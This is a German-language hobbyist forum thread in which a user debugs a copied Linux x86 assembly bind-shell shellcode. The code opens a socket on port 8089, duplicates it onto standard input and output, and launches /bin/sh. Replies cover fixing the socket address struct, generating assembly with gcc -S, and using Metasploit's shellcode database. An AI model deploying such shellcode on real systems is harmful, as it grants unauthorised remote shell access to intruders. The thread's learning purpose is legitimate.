Ergebnis 1 bis 8 von 8

Thema: die Socket funkt nicht....

  1. #1
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    162
    Renommee
    65

    die Socket funkt nicht....

    hallo,
    ich habe folgenden link gefunden:
    http://pastebin.com/sGCT7dAi

    der shell4.s code:
    PHP-Code:
        # Socket PortShellBind Shellcode
        # ASM AT&T to Linux x86
        # Writted By PseudoBacker
         
        #          SYSCALLS NUMBERS:
        # socketcall    ---> 0x66/102
        # dup2          ---> 0x3F/63
        # execve        ---> 0x0b/11
         
        #          PROCEDIMENTOS:  
        #socketcall(socket,AF_INET,SOCK_STREAM,0);
        #socketcall(Bind,Sock,hostAddr,sizeof(hostAddr);
        #socketcall(listen,Sock,5);
        #socketcall(accept,Sock,NULL,0);
        #dup2      (newSocket,2);
        #dup2      (newSocket,1);
        #dup2      (newSocket,0);
        #execve    ("/bin/sh","sh",NULL);
         
         
        
    .Section .text
        
    .Global _start
         
        _start
    :
           
                                                        
    #Sock = socket(2,1,0);
          
    xor %eax,%eax
          
    xor %ebx,%ebx
          
    xor %ecx,%ecx
         
          movb 
    $0x66,%al        #Syscall ID (socketcall) em eax
          
    movb $0x1,%bl         #Function ID (socket) em ebx
         
          
    push  %ecx            #Montando      
          
    push $0x1             #Parametros
          
    push $0x2             #Da funcao socket
          
    movl %esp,%ecx        #em ecx
         
          
    int $0x80             #Chama Kernel
          
    mov %eax,%esi         #newSock retornado de socket() em esi
         
         
                                                        #           hostAddr
                                                        #bind(Sock,[2,8089,0], 16);
          
    xor %eax,%eax
          
    xor %ebx,%ebx
          
    xor %edx,%edx
         
          movb 
    $0x66,%al        #Syscall ID (socketcall) em eax
          
    movb $0x2,%bl         #Function ID (bind) em ebx
         
          
    push %edx             #0x00
          
    pushw $0x1F99         #8089
          
    push  $0x2            #2
          
    movl %esp,%ecx        #Salvando  ^^
         
          
    push $0x10            #sizeof(hostAddr);
          
    push  %ecx            #(struct sockaddr *)&hostAdd
          
    push  %esi            #Sock
          
    movl %esp,%ecx        #Salvando em ecx
         
          
    int $0x80             #Chama Kernel
         
         
         
                                                        #listen(Sock,4);
          
    xor %eax,%eax
          
    xor %ebx,%ebx
         
          movb 
    $0x66,%al  
          movb 
    $0x4,%bl
         
          push 
    $0x4
          push 
    %esi
          movl 
    %esp,%ecx
         
          int 
    $0x80
         
         
         
                                                        
    #newSock = accept(sock,0,0);
          
    xor %eax,%eax
          
    xor %ebx,%ebx
          
    xor %edx,%edx
         
          movb 
    $0x66,%al  
          movb 
    $0x5,%bl
         
          push 
    %edx
          push 
    %edx
          push 
    %esi
          movl 
    %esp,%ecx
         
          int 
    $0x80
         
         
         
                                                        
    #dup2(newSock,0);
                                                        #dup2(newSock,1);
                                                        #dup2(newSock,2);
          
    movl %eax,%ebx
          
    xor %eax,%eax
          movb 
    $0x3F,%al
          
    xor %ecx,%ecx
          int 
    $0x80
          movb 
    $0x3F,%al
          inc 
    %ecx
          int 
    $0x80
          movb 
    $0x3F,%al
          inc 
    %ecx
          int 
    $0x80
                                                        
    #execve("/bin/sh","sh",NULL);
          
    jmp getShell
          execShell
    :
          
    pop %esi
          xorl 
    %ebx,%ebx
          movl 
    %esi,%ebx
          xorl 
    %eax,%eax
          push 
    %eax
          movl 
    %esp,%esi
          movl 
    %esi,%edx
          push 
    %ebx
          movl 
    %esp,%ecx
          movb 
    $0x0b,%al
          int 
    $0x80
         
          getShell
    :
          
    call execShell
          
    .string "/bin/sh" 
    tomycat@linux-a4gd:~/hack2> sudo as -o shell4.o shell4.s
    tomycat@linux-a4gd:~/hack2> sudo ld -o shell4 shell4.o
    tomycat@linux-a4gd:~/hack2> ./shell4
    ^C
    tomycat@linux-a4gd:~/hack2>


    Auf einer anderen Console habe ich folgendes eingetippt:
    sudo netstat -lp | grep 8089
    ...dann kommt keine Antwort.
    was mache ich falsch?

  2. #2
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    162
    Renommee
    65

    Re: die Socket funkt nicht....

    keine Antwort? mache ich etwas falsch?
    im prinzip nichts neues. Ich denke mal ihr habt alle mal eine Shellcode ausprobiert?!

  3. #3
    Registered User
    Registriert seit
    Sep 2008
    Beiträge
    386
    Renommee
    270

    Re: die Socket funkt nicht....

    Naja, ich habe mir nur gedacht: "Viel Spaß beim Debuggen...".

    Vielleicht solltest du dich mal mit Metasploit und deren Shellcode-Datenbank auseinandersetzen.
    Über das neue Zeitalter der Gehirne eines Menschen!
    echo 'main() { char z[] = "ping "; for(;printf(z);z[1]^=6); }' > a.c; gcc a.c -o a; ./a # 16.11.2011 02:51

  4. #4
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    162
    Renommee
    65

    Re: die Socket funkt nicht....

    andere Idee:
    ich nehme ein Socket Porg in c:
    um Platz zu sparen, habe ich die header weggelassen.
    PHP-Code:
    int main(void) {
       
    int sockfdnew_sockfd;  // listen on sock_fd, new connection on new_fd
       
    struct sockaddr_in host_addrclient_addr;   // my address information
       
    socklen_t sin_size;
       
    int yes=1;

       
    sockfd socket(PF_INETSOCK_STREAM0);
       
       
    host_addr.sin_family AF_INET;         // host byte order
       
    host_addr.sin_port htons(31337);      // short, network byte order
       
    host_addr.sin_addr.s_addr INADDR_ANY// automatically fill with my IP
       
    memset(&(host_addr.sin_zero), '\0'8); // zero the rest of the struct

       
    bind(sockfd, (struct sockaddr *)&host_addrsizeof(struct sockaddr));

       
    listen(sockfd4);

       
    sin_size sizeof(struct sockaddr_in);
       
    new_sockfd accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

    dieses compiliere ich und starte es mit strace ./test
    PHP-Code:
    Müll...............
    munmap(0xb7797000143043)              = 0                                                                                                                                         
    socket
    (PF_INETSOCK_STREAMIPPROTO_IP) = 3                                                                                                                                        
    bind
    (3, {sa_family=AF_INETsin_port=htons(31337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0                                                                                          
    listen
    (34)                            = 0                                                                                                                                         
    accept
    (3
    das funkt 1a.

    wenn ich mein .s shellcode nehme, dann bekomme ich folgende ausgebe mit.
    strace ./meinsporg
    PHP-Code:
    tomycat@linux-a4gd:~/hack2strace ./shell4b
    execve
    ("./shell4b", ["./shell4b"], [/* 94 vars */]) = 0
    socket
    (PF_INETSOCK_STREAMIPPROTO_IP) = 3
    bind
    (3, {sa_family=AF_INETsin_port=htons(0), sin_addr=inet_addr("17.1.0.0")}, 16) = -1 EADDRNOTAVAIL (Cannot assign requested address)
    listen(34)                            = 0
    accept
    (3
    in meiner .s DAtei habe ich ip als 0 eingetragen und mein Port ist gesetzt, warum das SChe** Ergebnis?

    Bin für jeden Tip Dankbar.

  5. #5
    Registered User
    Registriert seit
    Sep 2008
    Beiträge
    386
    Renommee
    270

    Re: die Socket funkt nicht....

    Hast du in deiner .s auch die struct sockaddr_in host_addr gefüllt?
    Über das neue Zeitalter der Gehirne eines Menschen!
    echo 'main() { char z[] = "ping "; for(;printf(z);z[1]^=6); }' > a.c; gcc a.c -o a; ./a # 16.11.2011 02:51

  6. #6
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    162
    Renommee
    65

    Re: die Socket funkt nicht....

    gute Frage,
    ich bin noch ASM Anfänger, in C bekomme ich das hin ?!
    Ich wollte das C Prog disaemblieren und daraus die Maschien Code herauspicken, aber so gut bin ich noch nicht.

  7. #7
    Registered User
    Registriert seit
    May 2000
    Beiträge
    199
    Renommee
    137

    Re: die Socket funkt nicht....

    Das geht einfacher:
    Code:
    gcc c-source-file.c -S -o asm-file.s
    wahlweise mit oder ohne optimierungsflags, etc...
    im Grunde: genau gleich kompilieren wie sonst, jedoch mit -S (generiert dir dann nur den Assembly code, welchen du anschauen kannst).
    Hilft enorm wenn man schauen will, was der compiler da so macht...
    Mein Blog: eSheep

  8. #8
    Registered User
    Registriert seit
    Sep 2009
    Beiträge
    162
    Renommee
    65

    Re: die Socket funkt nicht....

    thx,
    so gut bin ich noch nicht, um soviel Code zu verstehen.Trotzdem Danke.
    Der .s Code von dem Beitrag stecke ich. Der Code .s von meinem Buch habe zum laufen bekommen.

    Ich habe einen Denkfehler macht. ich habe nach nasm meincode.s das assemblierte auchführen wollen, was nicht geht.

Aktive Benutzer

Aktive Benutzer

Aktive Benutzer in diesem Thema: 1 (Registrierte Benutzer: 0, Gäste: 1)

Ähnliche Themen

  1. Antworten: 8
    Letzter Beitrag: 16.04.2004, 21:35
  2. Router funkt, Client nicht
    Von g-tah im Forum UNIX/Linux
    Antworten: 11
    Letzter Beitrag: 16.03.2004, 13:48
  3. Netzwerkkarte funkt nicht!
    Von BigDaddy im Forum UNIX/Linux
    Antworten: 1
    Letzter Beitrag: 19.08.2003, 00:41
  4. socket.h hat geht nicht. warum ?
    Von rlKing im Forum C / C++
    Antworten: 13
    Letzter Beitrag: 01.03.2003, 10:35
  5. Prog zum schliessen/öffnen des cd-rom funkt nicht...
    Von mkeeper im Forum Pascal / Delphi
    Antworten: 8
    Letzter Beitrag: 10.03.2002, 20:44

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •